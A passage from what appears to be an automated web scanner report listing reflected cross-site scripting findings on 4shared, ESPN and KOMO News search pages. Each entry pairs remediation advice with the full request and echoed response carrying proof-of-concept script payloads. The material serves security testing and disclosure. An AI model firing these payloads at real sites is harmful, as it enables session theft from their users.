Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /css89bb8&quot;-alert(1)-&quot;0465f9b3ed8/main.css
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Feb 2011 20:11:58 GMT
Content-Length: 36943


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/css89bb8"-alert(1)-"0465f9b3ed8/main.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.161. http://search.4shared.com/css/main.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/main.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 860a4"-alert(1)-"28ebbe0199e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/main.css860a4"-alert(1)-"28ebbe0199e?ver=1610 HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /css/main.css860a4&quot;-alert(1)-&quot;28ebbe0199e
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Feb 2011 20:12:10 GMT
Content-Length: 36944


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/css/main.css860a4"-alert(1)-"28ebbe0199e";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.162. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/mainWithoutCommon.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3880"-alert(1)-"5bdfa9fe7b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssa3880"-alert(1)-"5bdfa9fe7b5/mainWithoutCommon.css HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /cssa3880&quot;-alert(1)-&quot;5bdfa9fe7b5/mainWithoutCommon.css
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:02:04 GMT
Content-Length: 37008


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/cssa3880"-alert(1)-"5bdfa9fe7b5/mainWithoutCommon.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedb
...[SNIP]...

1.163. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/mainWithoutCommon.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63f80"-alert(1)-"11bae875e74 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/mainWithoutCommon.css63f80"-alert(1)-"11bae875e74 HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /css/mainWithoutCommon.css63f80&quot;-alert(1)-&quot;11bae875e74
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:03:50 GMT
Content-Length: 36310


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/css/mainWithoutCommon.css63f80"-alert(1)-"11bae875e74";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.164. http://search.4shared.com/js/utils.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /js/utils.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36042"-alert(1)-"1c581c8364b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /js36042"-alert(1)-"1c581c8364b/utils.js HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /js36042&quot;-alert(1)-&quot;1c581c8364b/utils.js
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:04:09 GMT
Content-Length: 36240


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/js36042"-alert(1)-"1c581c8364b/utils.js";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.165. http://search.4shared.com/js/utils.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /js/utils.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0040"-alert(1)-"c8a96e2acb2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /js/utils.jsf0040"-alert(1)-"c8a96e2acb2 HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /js/utils.jsf0040&quot;-alert(1)-&quot;c8a96e2acb2
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:07:06 GMT
Content-Length: 36251


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/js/utils.jsf0040"-alert(1)-"c8a96e2acb2";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.166. http://search.4shared.com/search.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /search.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ef9a6--><script>alert(1)</script>310e4e7016 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /search.html?ef9a6--><script>alert(1)</script>310e4e7016=1 HTTP/1.1
Host: search.4shared.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: hostid=1214903107; Expires=Sat, 20-Feb-2021 23:05:47 GMT; Path=/
Set-Cookie: search.view2=ls; Domain=.4shared.com; Expires=Thu, 23-Feb-2012 23:05:47 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 23:05:47 GMT
Connection: close
Content-Length: 97304


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<title>
...[SNIP]...
<!-- params: {searchName=, ef9a6--><script>alert(1)</script>310e4e7016=1, start=0} -->
...[SNIP]...

1.167. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.espn.go.com
Path:   /s/ie8/suggestions

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 337fb<script>alert(1)</script>c9bcf2da6ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/ie8337fb<script>alert(1)</script>c9bcf2da6ef/suggestions?q={searchTerms} HTTP/1.1
Host: search.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Length: 139
Content-Type: text/html; charset=iso-8859-1
Server: barista/3.3.6

<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/s/ie8337fb<script>alert(1)</script>c9bcf2da6ef/suggestions</BODY></HTML>

1.168. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.espn.go.com
Path:   /s/ie8/suggestions

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 5dae3<script>alert(1)</script>2ed2625dccf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/ie8/suggestions5dae3<script>alert(1)</script>2ed2625dccf?q={searchTerms} HTTP/1.1
Host: search.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Length: 139
Content-Type: text/html; charset=iso-8859-1
Server: barista/3.3.6

<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/s/ie8/suggestions5dae3<script>alert(1)</script>2ed2625dccf</BODY></HTML>

1.169. http://search.komonews.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 828f5"><script>alert(1)</script>39ab8bcd49a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?828f5"><script>alert(1)</script>39ab8bcd49a=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&828f5%22%3e%3cscript%3ealert(1)%3c%2fscript%3e39ab8bcd49a=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 59417
Set-Cookie: .ASPXANONYMOUS=CMDHFEAKzAEkAAAAY2U0MzNhZmYtZGUxZi00YTI5LWFlNzQtYzcyYjQzY2M2MWFiZBs8uVr2lxQ8LA9daCyY3ENgMo01; expires=Wed, 04-May-2011 09:46:02 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:02 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:02 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:02 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:02 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:02 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>KOMO News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7" />
   <m
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&828f5"><script>alert(1)</script>39ab8bcd49a=1&ename=rsspage" />
...[SNIP]...

1.170. http://search.komonews.com/Boeing [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /Boeing

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5871d"><script>alert(1)</script>471bc5d854b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Boeing?5871d"><script>alert(1)</script>471bc5d854b=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&type=20245,90000063&5871d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e471bc5d854b=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48506
Set-Cookie: .ASPXANONYMOUS=v2zMF0AKzAEkAAAAMjBjMTQyZTUtOTMxNi00NmI4LWIwMzUtMTM3OTI0Zjc1NTE3qQuSrY5MTFyMezLzfacF0LvtraM1; expires=Wed, 04-May-2011 09:46:08 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:08 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Boeing News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7" />
   
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&type=20245,90000063&5871d"><script>alert(1)</script>471bc5d854b=1&ename=rsspage" />
...[SNIP]...

1.171. http://search.komonews.com/Microsoft [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /Microsoft

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1976"><script>alert(1)</script>295fe6a9b13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Microsoft?f1976"><script>alert(1)</script>295fe6a9b13=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&type=20245,89000029&f1976%22%3e%3cscript%3ealert(1)%3c%2fscript%3e295fe6a9b13=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44873
Set-Cookie: .ASPXANONYMOUS=K5LHF0AKzAEkAAAAMDRjNTEwMDMtNzA3YS00NTcwLWJkYmMtZjlkYmZlMjBlYWUx3Uqln6MJkSOnnnoDhvzfEXifdtQ1; expires=Wed, 04-May-2011 09:46:08 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:08 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:08 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Microsoft News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7" /
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&type=20245,89000029&f1976"><script>alert(1)</script>295fe6a9b13=1&ename=rsspage" />
...[SNIP]...

1.172. http://search.komonews.com/National-Leaders/Barack-Obama [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /National-Leaders/Barack-Obama

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afb1f"><script>alert(1)</script>56cfaf9390e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /National-Leaders/Barack-Obama?afb1f"><script>alert(1)</script>56cfaf9390e=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&type=20230,50001140&afb1f%22%3e%3cscript%3ealert(1)%3c%2fscript%3e56cfaf9390e=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 53639
Set-Cookie: .ASPXANONYMOUS=96RrJkAKzAEkAAAAODVlY2RkYTgtM2Y5Mi00MmNjLThiYzEtZDY1NzQzYTk4ODg0CqP5RJJL7rmcVYFM8LPTMuEZ88A1; expires=Wed, 04-May-2011 09:46:32 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:32 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:32 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:32 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:32 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:32 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Barack Obama News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&type=20230,50001140&afb1f"><script>alert(1)</script>56cfaf9390e=1&ename=rsspage" />
...[SNIP]...

1.173. http://search.komonews.com/Sports/Mariners [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /Sports/Mariners

Issue detail

